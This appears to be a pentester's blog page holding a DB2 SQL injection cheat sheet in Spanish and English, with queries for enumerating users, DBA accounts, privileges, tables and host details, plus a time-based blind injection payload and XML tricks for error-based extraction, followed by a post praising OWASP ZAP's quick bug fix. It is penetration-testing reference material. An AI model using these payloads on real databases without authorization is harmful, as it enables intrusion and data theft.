Base de datos Actual select current server from sysibm.sysdummy1
Listar Bases de datos* select distinct(table_catalog) from sysibm.tables
Listar Columnas* select name, tbname, coltype from sysibm.syscolumns — also valid syscat and sysstat
Listar Tablas
select table_name from sysibm.tables
select name from sysibm.systables
Encontrar Tablas a partir de nombre de Columna select tbname from sysibm.syscolumns where name=’username’
Seleccionar la N-esima fila* select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
Seleccionar el N-esimo Caracter select substr(‘abc’,2,1) FROM sysibm.sysdummy1 — returns b
Operadores binarios AND/OR/NOT/XOR* select bitand(1,0) from sysibm.sysdummy1 — devuelve 0. También disponibles bitandnot, bitor, bitxor, bitnot
Código ASCII -> Char select chr(65) from sysibm.sysdummy1 — devuelve ‘A’
Char -> Código ASCII select ascii(‘A’) from sysibm.sysdummy1 — devuelve 65
Conversión
select cast(‘123’ as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
Concatenar Cadenas
select ‘a’ concat ‘b’ concat ‘c’ from sysibm.sysdummy1 — devuelve ‘abc’
select ‘a’ || ‘b’ from sysibm.sysdummy1 — devuelve ‘ab’
Sentencia IF* Parece que sólo se permite en procedimientos almacenados. Utilizar CASE en su lugar.
Case Statement* select CASE WHEN (1=1) THEN ‘AAAAAAAAAA’ ELSE ‘BBBBBBBBBB’ END from sysibm.sysdummy1
Evitar Comillas* SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 — devuelve “ADRI”. Funciona sin el select también.
Time Delay*
Consultas pesadas, por ejemplo:
‘ and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 — Si el nombre de usuario empieza con el ascii 68 (‘D’), la consulta pesada se ejecutará, retrasando la respuesta. Sin embargo, si el usuario no empieza por el ascii 68, la consulta no se ejecutará y la respuesta será más rápida.
Serializar a XML (para extracción por errores)*
select xmlagg(xmlrow(table_schema)) from sysibm.tables — devuelve todo en una sola cadena formateada en XML (v9 y v10)
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) — Igual pero sin elementos repetidos. (v9 y v10)
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables — devuelve todo en una sola cadena formateada en XML (v8). Quizá necesite CAST(xml2clob(… AS varchar(500)) para ver el resultado.
Hacer Peticiones DNS N/A
Ejecución de Comandos Parece que sólo está permitido desde procedimientos almacenados o funciones de usuario (UDFs).
Local File Access Creo que esto sólo está disponible a través de procedimientos almacenados o el comando db2
Hostname/IP e Info del OS* select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info — requiere privilegios
Localización de los ficheros de la BD* select * from sysibmadm.reg_variables where reg_var_name=’DB2PATH’ — require privilegios
Config. del Sistema*
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like ‘auto_%’ — Require privilegios. Devuelve todos los parámetros de configuración de la base de datos almacenados en memoria para todas las particiones de la DB.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg — Require privilegios. Devuelve todos los valores de configuración de la base de datos almacenados en disco para todas las particiones de la DB.
BBDD por defecto* Lo que tiene sentido para DB2 es conocer esquemas por defecto (y quizá tablas):
SYSIBM/SYSCAT/SYSSTAT/SYSPUBLIC/SYSIBMADM/SYSTOOLS
Tagged with: , , , ,
Publicado en seguridad, web hacking

DB2 SQL injection cheat sheet

Nota: Hay una versión de esta entrada en Español aquí.

I’m sure we all (pentesters) make extensive use of pentestmonkey’s SQL injection cheat sheets. They are touchstones when it comes down to SQL injection, and most of the time they save the day. However, DB2 cheat sheet is one of the less complete in pentestmonkey’s website. It might be because it’s not a very common database engine and a fairly complex one. I’ve had the luck? of coming across lot’s of DB2 systems in my last and also in my current job. Hence the missing information was extremely annoying.

Following this lines there is a table with an updated DB2 SQL injection cheat sheet, using pentestmonkey’s as starting point. The updated/modified or new fields are marked with an asterisk (*). All of these queries have been tested on a Win32+DB2 v10.1.0, although I’ve also had the chance to test some on Z/OS+DB2 v9.x and v8.x and most of them work fine. Please note that I’m not a DB2 expert, so If you find errors or inaccurate information, or you know other exciting tricks, please feel free to contact me. Finally, I’ve uploaded some DB2 dumps of default privileges, tables with PUBLIC access, and other interesting stuff.

Version*
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable(‘sysibm.version’) from sysibm.sysdummy1 — (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
Comments select blah from foo — comment like this (double dash)
Current User
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
List Users*
DB2 uses OS accounts. Those with DB2 access can be retrieved with:
select distinct(authid) from sysibmadm.privileges — priv required
select grantee from syscat.dbauth — incomplete results
select distinct(definer) from syscat.schemata — more accurate
select distinct(grantee) from sysibm.systabauth — same as previous
List Password Hashes N/A (OS User Accounts)
List Privileges
select * from syscat.tabauth — shows priv on tables
select * from syscat.tabauth where grantee = current user — shows privs for current user
List DBA Accounts* select distinct(grantee) from sysibm.systabauth where CONTROLAUTH=’Y’
Current Database select current server from sysibm.sysdummy1
List Databases* select distinct(table_catalog) from sysibm.tables
List Columns* select name, tbname, coltype from sysibm.syscolumns — also valid syscat and sysstat
List Tables
select table_name from sysibm.tables
select name from sysibm.systables
Find Tables From Column Name select tbname from sysibm.syscolumns where name=’username’
Select Nth Row* select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
Select Nth Char select substr(‘abc’,2,1) FROM sysibm.sysdummy1 — returns b
Bitwise AND/OR/NOT/XOR* select bitand(1,0) from sysibm.sysdummy1 — returns 0. Also available bitandnot, bitor, bitxor, bitnot
ASCII Value -> Char select chr(65) from sysibm.sysdummy1 — returns ‘A’
Char -> ASCII Value select ascii(‘A’) from sysibm.sysdummy1 — returns 65
Casting
select cast(‘123’ as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
String Concat
select ‘a’ concat ‘b’ concat ‘c’ from sysibm.sysdummy1 — returns ‘abc’
select ‘a’ || ‘b’ from sysibm.sysdummy1 — returns ‘ab’
IF Statement* Seems only allowed in stored procedures. Use case logic instead.
Case Statement* select CASE WHEN (1=1) THEN ‘AAAAAAAAAA’ ELSE ‘BBBBBBBBBB’ END from sysibm.sysdummy1
Avoiding Quotes* SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 — returns “ADRI”. Works without select too
Time Delay*
Heavy queries, for example:
‘ and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 — If user starts with ascii 68 (‘D’), the heavy query will be executed, delaying the response. However, if user doesn’t start with ascii 68, the heavy query won’t execute and thus the response will be faster.
Serialize to XML (for error based)*
select xmlagg(xmlrow(table_schema)) from sysibm.tables — returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) — Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables — returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
Make DNS Requests N/A
Command Execution Seems it’s only allowed from procedures or UDFs.
Local File Access I think this is only available through stored procedures or db2 tool.
Hostname/IP and OS INFO* select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info — requires priv
Location of DB Files* select * from sysibmadm.reg_variables where reg_var_name=’DB2PATH’ — requires priv
System Config*
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like ‘auto_%’ — Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg — Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
Default System Databases* What makes sense for DB2 is to know default System Schemas (and maybe tables):
SYSIBM/SYSCAT/SYSSTAT/SYSPUBLIC/SYSIBMADM/SYSTOOLS
Tagged with: , , , ,
Publicado en seguridad, web hacking

Un 10 para OWASP ZAP (apología del software libre)

Quería dedicar una entrada a elogiar la estupenda respuesta del equipo de desarrollo de OWASP ZAP, y que sirva de ejemplo de cómo el software libre no supone un handicap para las empresas. Si bien yo recomiendo siempre que, si una empresa utiliza una herramienta de software libre como pieza clave de su trabajo diario, se involucre en el desarrollo o mantenimiento de la misma, el caso es que hay proyectos de software libre que tienen unos tiempos de respuesta mejores que muchas empresas de software.

ZAP PROXY

La historia es ésta. Esta semana he encontrado un bug en OWASP ZAP 1.4.0.1 mientras trabajaba que, por su gravedad, me llevó a reportarlo inmediatamente (una vez verificado). El problema en cuestión era que cuando el usuario modificaba un parámetro de una petición POST, la cabecera Content-Length no se actualizaba apropiadamente, por lo que el contenido de la petición llegaba cortado al servidor web, dando lugar a comportamientos más que extraños. El caso es que llevaba notando cosas raras unos días, pero coincidió con las pruebas de una nueva aplicación web, y al principio pensé que era la aplicación la que tenía un comportamiento anormal. La versión 1.4.0.1 se publicó el 9 de Abril de 2012, por lo que presumiblemente todos los usuarios de esa versión durante el último mes han estado padeciendo éste problema sin saberlo.

Pues bien, reporté el problema en el issue tracker de ZAP con el id 298 a la hora de la comida, y avisé al mismo tiempo a mis compañeros de trabajo, ya que se hacía conveniente revisar los resultados del trabajo de las últimas semanas. Volví a mi trabajo encadenando la versión gratuita de Burp con ZAP para evitar el bug. Mientras, recurrí a la guía de Taddong “Building OWASP ZAP with Eclipse (v2.0)” y comencé la descarga del IDE, Subversion para Windows, y todo lo necesario para echar un ojo e intentar averiguar dónde y cómo solucionar el problema. Sin embargo, apenas había terminado de montar el entorno y hacerme una idea rápida de cómo iban los módulos y clases cuando me llegó un correo de nuevo comentario en el hilo del tracker. ¡El parche había sido subido al repositorio y un .jar con el fallo corregido estaba disponible para la descarga en el hilo del problema! Tiempo total desde que reporté el fallo hasta que se subió la solución: ¡3 horas!

Por cierto, para aquellos que no lo sepan, ZAP no es Burp, pero se acerca muy rápido. En mi opinión, si Burp no se pode las pilas es probable que en el plazo de un año o dos ZAP sea mucho más útil para el pentester que Burp.

¡Salud!

Tagged with: , , , , ,
Publicado en herramientas, web hacking
Archive